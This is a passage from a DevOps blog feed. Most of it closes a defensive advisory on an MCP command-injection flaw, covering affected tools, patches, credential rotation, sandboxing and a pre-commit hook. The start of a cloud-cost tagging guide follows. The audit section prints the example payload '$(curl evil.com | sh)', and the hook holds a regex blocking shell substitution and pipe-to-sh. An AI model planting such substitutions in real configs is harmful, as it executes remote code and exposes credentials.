<li>Full access to the local git repo, including the ability to modify commits and push them</li>
<li>Ability to install further persistence (cron jobs, shell RC files, LaunchAgents)</li>
<li>Access to any cloud resources reachable through the user&#39;s credentials</li>
</ul>
<p>On a developer laptop with credentials for production, this is a complete compromise.</p>
<h2 id="h2-are-you-affected" class="group relative scroll-mt-24">
        <a href="#h2-are-you-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Affected?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you use any of these, yes, probably:</p>
<ul>
<li><strong>Claude Code</strong></li>
<li><strong>Cursor</strong></li>
<li><strong>VS Code</strong> with the Claude or MCP extensions</li>
<li><strong>Windsurf</strong></li>
<li><strong>Gemini CLI</strong> (uses the MCP protocol for tools)</li>
<li><strong>LangChain</strong> with MCP integration</li>
<li><strong>LangFlow</strong> or <strong>Flowise</strong> (especially if exposed publicly)</li>
<li><strong>LiteLLM</strong> admin UI</li>
<li>Any homebrew tooling that imports the official MCP SDK</li>
</ul>
<h3 id="h3-check-for-public-exposure" class="group relative scroll-mt-24">
        <a href="#h3-check-for-public-exposure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check for public exposure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-for-public-exposure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you run MCP servers on a public host, make sure they are not on the internet:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># If you manage a LangFlow / Flowise / LiteLLM instance:</span>
<span class="hljs-comment"># 1. Check firewall rules, no public inbound on its port</span>
<span class="hljs-comment"># 2. Force HTTP Basic or OIDC auth before any config endpoint</span>
<span class="hljs-comment"># 3. If this is a dev/lab instance, take it off the public net today</span>
</code></pre><p>You can find your own exposure by scanning for the common MCP admin paths:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># From inside your network, confirm these are NOT publicly reachable:</span>
curl -sI https://your-host/api/v1/mcp/servers    <span class="hljs-comment"># LiteLLM</span>
curl -sI https://your-host/api/mcp                <span class="hljs-comment"># LangFlow-ish</span>
curl -sI https://your-host/mcp                    <span class="hljs-comment"># Flowise-ish</span>
</code></pre><h3 id="h3-audit-your-ide-mcp-config" class="group relative scroll-mt-24">
        <a href="#h3-audit-your-ide-mcp-config" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Audit your IDE MCP config
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-audit-your-ide-mcp-config"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In your IDE:</p>
<ol>
<li>Open the MCP settings (Cursor: Settings → MCP, VS Code: command palette → &quot;MCP: List Servers&quot;, Claude Code: <code>~/.config/claude-code/config.json</code> or <code>~/.claude/mcp.json</code>)</li>
<li>Read the command and args for every server</li>
<li>Remove any you don&#39;t recognize</li>
<li>For the ones you do recognize, verify the path is what you expect and not a clever substitution like <code>$(curl evil.com | sh)</code></li>
</ol>
<h3 id="h3-check-for-unexpected-additions" class="group relative scroll-mt-24">
        <a href="#h3-check-for-unexpected-additions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check for unexpected additions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-for-unexpected-additions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Look at git history on your local dotfiles and IDE configs. Anything that changed without an obvious reason in the last two weeks is worth investigating:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Example: audit Claude Code config history</span>
<span class="hljs-built_in">cd</span> ~/.claude
git <span class="hljs-built_in">log</span> --all --since <span class="hljs-string">&quot;2 weeks ago&quot;</span> -- mcp.json 2&gt;/dev/null

<span class="hljs-comment"># If you don&#x27;t version-control your configs:</span>
<span class="hljs-built_in">stat</span> ~/.cursor/mcp.json ~/.config/claude-code/config.json 2&gt;/dev/null
</code></pre><p>If the modified time on an MCP config file doesn&#39;t match any change you remember making, open it and read every command.</p>
<h2 id="h2-how-to-fix-it" class="group relative scroll-mt-24">
        <a href="#h2-how-to-fix-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Fix It
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-fix-it"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-1-update-your-ai-tooling" class="group relative scroll-mt-24">
        <a href="#h3-1-update-your-ai-tooling" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Update your AI tooling
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-update-your-ai-tooling"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every downstream vendor with an assigned CVE has published a patch. Go through the list:</p>
<ul>
<li><strong>LiteLLM</strong> (CVE-2026-30623): upgrade to the latest release per their security advisory</li>
<li><strong>Windsurf</strong> (CVE-2026-30615): update the IDE via the built-in updater</li>
<li><strong>GPT Researcher</strong> (CVE-2025-65720): pull latest from main</li>
<li><strong>Cursor, VS Code Claude extension, Claude Code, Gemini CLI</strong>: update to the latest versions; all have shipped hardening</li>
<li><strong>LangChain, LangFlow, Flowise</strong>: check their changelogs for MCP-related patches published on or after April 15, 2026</li>
</ul>
<p>This does <strong>not</strong> fix the underlying protocol. It fixes specific exploitation paths in each downstream. Treat each update as defense in depth, not a root fix.</p>
<h3 id="h3-2-rotate-everything-on-machines-where-you-run-mcp-servers" class="group relative scroll-mt-24">
        <a href="#h3-2-rotate-everything-on-machines-where-you-run-mcp-servers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Rotate everything on machines where you run MCP servers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-rotate-everything-on-machines-where-you-run-mcp-servers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you ran any MCP client with untrusted config even briefly, assume compromise and rotate:</p>
<ul>
<li>SSH keys (<code>~/.ssh/id_*</code>)</li>
<li>Cloud credentials (<code>~/.aws/credentials</code>, GCP service account JSON, Azure CLI tokens)</li>
<li>Git tokens (GitHub, GitLab, Bitbucket personal access tokens)</li>
<li>npm tokens (<code>~/.npmrc</code> auth tokens)</li>
<li>Any API key stored in an environment variable accessible to the MCP process</li>
</ul>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Inventory of common credential files to rotate if you suspect exposure</span>
<span class="hljs-built_in">ls</span> -la ~/.ssh ~/.aws ~/.config/gcloud 2&gt;/dev/null
grep -l <span class="hljs-string">&quot;TOKEN\|SECRET\|KEY&quot;</span> ~/.bashrc ~/.zshrc ~/.profile 2&gt;/dev/null
</code></pre><h3 id="h3-3-sandbox-mcp-servers" class="group relative scroll-mt-24">
        <a href="#h3-3-sandbox-mcp-servers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Sandbox MCP servers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-sandbox-mcp-servers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Run MCP servers and MCP-enabled agents inside a sandbox that limits what they can see:</p>
<ul>
<li><strong>Docker / Podman</strong>: run the IDE or MCP host inside a container with a minimal bind mount (just the repo, no <code>~/.ssh</code>, no <code>~/.aws</code>)</li>
<li><strong>Dev Containers</strong>: VS Code supports them natively. Move your AI work into one per project</li>
<li><strong>Firecracker / Kata Containers</strong>: stronger isolation if you&#39;re running servers for multiple customers</li>
<li><strong>macOS Sandbox / seccomp filters</strong>: last resort for host-level containment</li>
</ul>
<p>The principle: the MCP process should not have access to credentials that would be catastrophic if exfiltrated.</p>
<h3 id="h3-4-treat-mcp-config-as-untrusted-input" class="group relative scroll-mt-24">
        <a href="#h3-4-treat-mcp-config-as-untrusted-input" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Treat MCP config as untrusted input
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-treat-mcp-config-as-untrusted-input"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Any process (script, CI job, model) that writes to an MCP config file should be reviewed the same way you review arbitrary code. In a team setting:</p>
<ul>
<li>Version-control your MCP configs in git</li>
<li>Require code review on changes</li>
<li>Add a pre-commit hook that rejects obviously dangerous patterns (<code>$()</code>, backticks, pipe to sh)</li>
</ul>
<p>A sample pre-commit check:</p>
<pre><code class="hljs language-bash"><span class="hljs-meta">#!/usr/bin/env bash</span>
<span class="hljs-comment"># .git/hooks/pre-commit (partial)</span>
<span class="hljs-keyword">for</span> f <span class="hljs-keyword">in</span> $(git diff --cached --name-only | grep -E <span class="hljs-string">&#x27;mcp\.json|\.mcp\.yaml&#x27;</span>); <span class="hljs-keyword">do</span>
  <span class="hljs-keyword">if</span> grep -qE <span class="hljs-string">&#x27;\$\(|`|\|\s*sh|curl.*\|&#x27;</span> <span class="hljs-string">&quot;<span class="hljs-variable">$f</span>&quot;</span>; <span class="hljs-keyword">then</span>
    <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;Blocked: suspicious shell syntax in <span class="hljs-variable">$f</span>&quot;</span>
    <span class="hljs-built_in">exit</span> 1
  <span class="hljs-keyword">fi</span>
<span class="hljs-keyword">done</span>
</code></pre><h2 id="h2-how-to-prevent-this-class-of-attack" class="group relative scroll-mt-24">
        <a href="#h2-how-to-prevent-this-class-of-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Prevent This Class of Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-prevent-this-class-of-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The MCP flaw is specific to one protocol, but the underlying pattern (trusting user-controlled strings at a shell boundary) is ancient. Hardening against it:</p>
<h3 id="h3-1-default-deny-public-exposure-on-anything-that-runs-untrusted-prompts" class="group relative scroll-mt-24">
        <a href="#h3-1-default-deny-public-exposure-on-anything-that-runs-untrusted-prompts" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Default-deny public exposure on anything that runs untrusted prompts
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-default-deny-public-exposure-on-anything-that-runs-untrusted-prompts"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If a service takes natural language in and executes commands out, it should not be on the public internet. Period. Authentication in front, private networking, zero-trust around the host. Assume the adversary already has valid user credentials.</p>
<h3 id="h3-2-sandbox-every-ai-agent-by-default" class="group relative scroll-mt-24">
        <a href="#h3-2-sandbox-every-ai-agent-by-default" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Sandbox every AI agent by default
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-sandbox-every-ai-agent-by-default"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The industry is drifting toward running more powerful agents on developer machines. Treat this the same way you treat a running unknown binary. Container per agent, minimal mounts, explicit allow-list for network access.</p>
<h3 id="h3-3-never-let-llm-output-reach-a-shell" class="group relative scroll-mt-24">
        <a href="#h3-3-never-let-llm-output-reach-a-shell" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Never let LLM output reach a shell
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-never-let-llm-output-reach-a-shell"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Any pipeline that hands model output straight to a subprocess is already broken in a dozen other ways. MCP&#39;s flaw is a reminder: the moment a model&#39;s output can reach a shell, you have an untrusted-input problem that no amount of prompt engineering fixes.</p>
<h3 id="h3-4-build-an-mcp-config-review-culture-on-your-team" class="group relative scroll-mt-24">
        <a href="#h3-4-build-an-mcp-config-review-culture-on-your-team" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Build an MCP config review culture on your team
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-build-an-mcp-config-review-culture-on-your-team"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>New MCP servers should be reviewed like new dependencies. Who maintains it? What does it run? Does the install step fetch anything remote? Make this a 2-minute checklist anyone on the team can do before adding a server.</p>
<h3 id="h3-5-monitor-tool-invocations" class="group relative scroll-mt-24">
        <a href="#h3-5-monitor-tool-invocations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Monitor tool invocations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-monitor-tool-invocations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you manage an MCP-enabled IDE fleet, log every tool call and alert on anomalies. Tools that suddenly start invoking <code>bash</code>, <code>sh</code>, <code>curl</code>, or <code>python -c</code> are the signal.</p>
<h2 id="h2-the-bigger-picture" class="group relative scroll-mt-24">
        <a href="#h2-the-bigger-picture" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Bigger Picture
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-bigger-picture"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The hardest part of this incident isn&#39;t the technical flaw. It&#39;s Anthropic&#39;s response. Their position, as reported, is that the STDIO execution model represents the &quot;expected&quot; default and sanitization is the implementer&#39;s job. That is technically defensible (every SDK docs the trust model) and practically a disaster because almost no downstream does the sanitization correctly.</p>
<p>This mirrors a decade of &quot;SQL injection is a developer problem&quot; arguments from database vendors before parameterized queries became the default. It took years of breaches before the industry accepted that the protocol needed to carry safer defaults.</p>
<p>MCP is young. It is being adopted at a rate npm took a decade to match. If the default stays &quot;unsandboxed shell spawn plus a developer footgun,&quot; the next three years of AI tooling security will look a lot like the WordPress plugin ecosystem did a decade ago. Lots of exploitable servers, lots of people acting surprised.</p>
<p>For your own team: assume MCP config is untrusted, sandbox every agent, and rotate credentials on any machine where an MCP server has ever run untrusted config. Those three steps cover most of the realistic risk today.</p>
<p>We track these at <a href="/news">/news</a> as they develop, and our <a href="/roadmap/devsecops">DevSecOps roadmap</a> and <a href="/checklists">security checklists</a> cover the broader &quot;treat AI agents like unknown binaries&quot; stance. If you want to read the source research, <a href="https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/">OX Security&#39;s full writeup</a> is the best place to start.</p>
<p>Related reading on our site: <a href="/posts/claude-code-source-leak-what-devops-engineers-should-learn">Claude Code source leak via npm source maps</a> and <a href="/posts/cli-vs-mcp-when-to-use-each">CLI vs MCP: when to use each</a> for background on the protocol itself.</p>
<hr>
<p>Reply on <a href="https://x.com/thedevopsdaily">X</a> or <a href="https://www.linkedin.com/company/thedevopsdaily">LinkedIn</a> if your team is handling this differently. We update this post as Anthropic and downstream vendors ship patches.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[How to Set Up Cloud Cost Allocation Tags Across AWS, GCP, and Azure]]></title>
      <link>https://devops.anhp.site/posts/cloud-cost-allocation-tags-aws-gcp-azure</link>
      <description><![CDATA[A working playbook for tagging resources across AWS, GCP, and Azure so finance can finally answer which team spent what, and engineers can prove their workload is not the expensive one.]]></description>
      <pubDate>Mon, 20 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/cloud-cost-allocation-tags-aws-gcp-azure</guid>
      <category><![CDATA[FinOps]]></category>
      
      <category><![CDATA[finops]]></category><category><![CDATA[cloud-costs]]></category><category><![CDATA[tagging]]></category><category><![CDATA[multi-cloud]]></category><category><![CDATA[aws]]></category><category><![CDATA[gcp]]></category><category><![CDATA[azure]]></category>
      <content:encoded><![CDATA[<p>Last quarter, finance walked into the platform standup with a printed spreadsheet and one question: &quot;Which team owns the $84,000 line item called <code>Untagged</code>?&quot;</p>
<p>Nobody knew. The bill spanned AWS, GCP, and Azure. Each cloud had its own tag schema, half the resources were created before anyone cared about tags, and the cost reports grouped everything that did not match a known key into a single bucket. The CFO wanted chargeback by team starting next month. The platform team had two weeks.</p>
<p>If you have ever lived through this conversation, this guide is for you. We will set up consistent cost allocation tags across all three clouds, enforce them at provisioning time, and make sure the data actually shows up in your billing exports.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Pick a small set of mandatory tag keys (<code>team</code>, <code>environment</code>, <code>cost-center</code>, <code>service</code>), apply them the same way in every cloud, enforce them with Terraform <code>default_tags</code> plus a policy engine (AWS Tag Policies, Azure Policy, GCP Org Policy), and activate them in each provider&#39;s billing console. Untagged resources should fail at apply time, not show up in next month&#39;s invoice.</p>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Admin access to your AWS organization, GCP organization, and Azure tenant root</li>
<li>Terraform 1.6+ for the enforcement examples</li>
<li>Access to the billing console in each cloud (AWS Billing, GCP Cloud Billing, Azure Cost Management)</li>
<li>A short list of cost dimensions your finance team actually wants to slice by</li>
</ul>
<h2 id="h2-step-1-agree-on-a-tag-schema-before-touching-any-cloud" class="group relative scroll-mt-24">
        <a href="#h2-step-1-agree-on-a-tag-schema-before-touching-any-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: Agree on a tag schema before touching any cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-1-agree-on-a-tag-schema-before-touching-any-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
